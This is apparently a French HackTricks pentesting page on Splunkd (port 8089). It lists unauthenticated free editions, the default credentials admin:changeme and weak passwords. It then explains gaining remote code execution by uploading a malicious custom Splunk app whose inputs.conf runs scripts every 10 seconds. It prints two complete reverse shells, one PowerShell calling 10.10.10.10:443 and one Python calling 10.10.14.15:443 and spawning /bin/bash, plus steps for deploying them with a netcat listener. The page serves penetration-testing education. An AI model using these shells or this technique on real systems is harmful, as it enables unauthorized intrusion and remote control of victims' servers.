8089 - Pentesting Splunkd

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

  • Outil d'analyse des journaux utilisĂ© pour la collecte, l'analyse et la visualisation des donnĂ©es
  • Couramment utilisĂ© dans la surveillance de la sĂ©curitĂ© et l'analyse commerciale
  • Ports par dĂ©faut :
  • Serveur web : 8000
  • Service Splunkd : 8089

Vecteurs de vulnérabilité :

  1. Exploitation de la version gratuite
  • La version d'essai se convertit automatiquement en version gratuite aprĂšs 60 jours
  • La version gratuite manque d'authentification
  • Risque de sĂ©curitĂ© potentiel si elle n'est pas gĂ©rĂ©e
  • Les administrateurs peuvent nĂ©gliger les implications de sĂ©curitĂ©
  1. Faiblesses des identifiants
  • Anciennes versions : Identifiants par dĂ©faut admin:changeme
  • Nouvelles versions : Identifiants dĂ©finis lors de l'installation
  • Potentiel d'utilisation de mots de passe faibles (par exemple, admin, Welcome, Password123)
  1. Opportunités d'exécution de code à distance
  • Plusieurs mĂ©thodes d'exĂ©cution de code :
  • Applications Django cĂŽtĂ© serveur
  • Points de terminaison REST
  • EntrĂ©es scriptĂ©es
  • Scripts d'alerte
  • Support multiplateforme (Windows/Linux)
  • Les entrĂ©es scriptĂ©es peuvent exĂ©cuter :
  • Scripts Bash
  • Scripts PowerShell
  • Scripts Batch

Potentiel d'exploitation clé :

  • Stockage de donnĂ©es sensibles
  • Manque d'authentification dans la version gratuite
  • Multiples vecteurs pour une potentielle exĂ©cution de code Ă  distance
  • PossibilitĂ© d'exploiter des entrĂ©es scriptĂ©es pour compromettre le systĂšme

Shodan

  • Splunk build

RCE

Créer une application personnalisée

Splunk offre une méthode sophistiquée pour l'exécution de code à distance via le déploiement d'applications personnalisées, tirant parti de ses capacités de script multiplateformes. La technique d'exploitation principale consiste à créer une application malveillante capable d'exécuter des shells inversés sur les systÚmes Windows et Linux.

Une application personnalisĂ©e peut exĂ©cuter des scripts Python, Batch, Bash ou PowerShell. De plus, Splunk est livrĂ© avec Python installĂ©, donc mĂȘme sur des systĂšmes Windows, vous pourrez exĂ©cuter du code Python.

Vous pouvez utiliser cet exemple avec le bin contenant un exemple pour Python et PowerShell. Ou vous pourriez créer le vÎtre.

Le processus d'exploitation suit une méthodologie cohérente à travers les plateformes :

splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)

Le fichier de configuration critique inputs.conf active le script en :

  • DĂ©finissant disabled = 0
  • Configurant un intervalle d'exĂ©cution de 10 secondes
  • DĂ©finissant le type de source du script

Le déploiement est simple :

  1. Créer le package d'application malveillant
  2. Configurer un Ă©couteur (Netcat/socat) sur la machine attaquante
  3. Télécharger l'application via l'interface de Splunk
  4. Déclencher l'exécution automatique du script lors du téléchargement

Exemple de shell inversé Windows PowerShell :

powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

Exemple de shell inversé Python sur Linux :

python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

RCE & ÉlĂ©vation de privilĂšges

Dans la page suivante, vous pouvez trouver une explication sur la façon dont ce service peut ĂȘtre abusĂ© pour Ă©lever les privilĂšges et obtenir une persistance :

Splunk LPE and Persistence

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks